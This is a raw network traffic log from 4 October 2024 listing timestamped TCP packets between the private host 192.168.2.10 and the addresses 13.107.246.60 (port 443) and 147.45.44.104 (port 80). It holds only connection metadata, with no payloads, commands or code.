Oct 4, 2024 15:53:44.507618904 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.507625103 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.510184050 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.510230064 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.510363102 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.510534048 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.510549068 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.593410015 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.594717979 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.594753027 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.595370054 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.595380068 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.603296995 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.603785038 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.603807926 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.604176044 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.604180098 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.615336895 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:44.615339041 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:44.626915932 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:44.626951933 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:44.627119064 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:44.627118111 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:44.627262115 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:44.627265930 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:44.635720968 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:44.635731936 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:44.636017084 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.636529922 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.636552095 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.636981010 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.636990070 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.696014881 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.696643114 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.696660995 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.697376966 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.697384119 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.702037096 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.702105999 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.702200890 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.702389956 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.702414036 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.702424049 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.702430010 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.704761982 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.704797029 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.704879045 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.704998016 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.705013037 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.711999893 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.712157011 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.712213039 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.712321997 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.712338924 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.712351084 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.712356091 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.714859009 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.714886904 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.714962959 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.715363979 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.715379000 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.735759974 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.735884905 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.735928059 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.736187935 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.736208916 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.736222029 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.736228943 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.738451958 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.738504887 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.738579035 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.738737106 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.738758087 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.803320885 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.803488016 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.803637981 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.803730965 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.803754091 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.803767920 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.803774118 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.807353973 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.807429075 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.807508945 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.807656050 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.807677984 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.159562111 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.160151958 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.160181999 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.164369106 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.164387941 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.281146049 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.281162977 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.281232119 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.281966925 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.284162998 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.284240007 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.284302950 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.334832907 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.335079908 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.343040943 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.343277931 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.417087078 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.424259901 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.424259901 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.424310923 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.424325943 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.425945997 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.425968885 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.426764011 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.426769972 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.430938959 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.430980921 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.431052923 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.431364059 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.431379080 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.472882986 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.475997925 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.476021051 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.476598024 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.476617098 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.483830929 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.484486103 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.484505892 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.485073090 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.485083103 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.498357058 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.502746105 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.502758980 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.509267092 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.509288073 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.518846035 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.518871069 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.518882990 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.518898964 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.518912077 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.518923044 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.518934965 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.518933058 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.518949986 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.518971920 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.518975973 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.518989086 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519000053 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519002914 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.519012928 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519021988 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.519047976 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.519085884 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.519138098 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519150019 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519160986 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519172907 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519179106 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.519196033 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.519223928 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.519273996 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519285917 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519296885 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519310951 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519315004 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.519340992 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.519365072 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.519474983 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519486904 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.519524097 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.532386065 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.532463074 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.532541990 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.532605886 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.532649040 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.533307076 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.533361912 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.556092978 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.556117058 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.556129932 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.556137085 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.565593004 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.565634012 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.565701008 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.565860987 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.565876007 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.599744081 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.599910021 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.600059986 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.600091934 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.600111008 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.600125074 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.600130081 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.602933884 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.602977037 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.603075027 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.603235006 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.603257895 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.605438948 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.605504036 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.605552912 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.605648041 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.605667114 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.605679035 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.605684042 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.607844114 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.607893944 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.607975960 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.608109951 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.608128071 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.608218908 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.608270884 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.608274937 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.608283997 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.608311892 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.608331919 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.608649015 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.608701944 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.608702898 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.608716011 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.608743906 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.608762980 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.609023094 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.609076977 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.609093904 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.609134912 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.609215021 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.609265089 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.609286070 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.609297037 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.609338045 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.609589100 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.609607935 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.609618902 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.609638929 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.609667063 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.610151052 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.610192060 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.610202074 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.610205889 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.610232115 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.610249043 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.610487938 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.610506058 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.610519886 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.610539913 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.610573053 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.611078978 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.611124039 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.611131907 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.611134052 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.611164093 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.611181974 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.611397982 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.611443996 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.611455917 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.611457109 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.611493111 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.612025023 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.612036943 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.612046957 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.612082958 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.612097025 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.612380981 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.612392902 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.612402916 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.612438917 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.612468958 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.612988949 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.613043070 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.613058090 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.613069057 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.613109112 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.613286018 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.613317966 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.613338947 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.613369942 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.613835096 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.613873005 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.613884926 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.613894939 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.613909960 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.613933086 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.614779949 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.614830971 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.617374897 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.617455959 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.617511034 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.617631912 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.617647886 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.617659092 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.617664099 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.619904041 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.619951010 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.620032072 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.620174885 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:45.620192051 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:45.698479891 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.698506117 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.698518991 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.698539019 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.698549032 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.698592901 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.698611975 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.698751926 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.698764086 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.698776960 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.698791027 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.698807001 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.698812008 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.698859930 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.699105024 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.699156046 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.699166059 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.699170113 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.699202061 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.699208975 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.699218035 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.699253082 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.699399948 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.699431896 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.699439049 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.699444056 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.699476004 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.699513912 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.699553013 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.699585915 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.699598074 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.699631929 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.699646950 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.699651003 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.699657917 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.699696064 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.700061083 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.700109959 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.700117111 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.700122118 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.700155020 CEST	49780	80	192.168.2.10	147.45.44.104
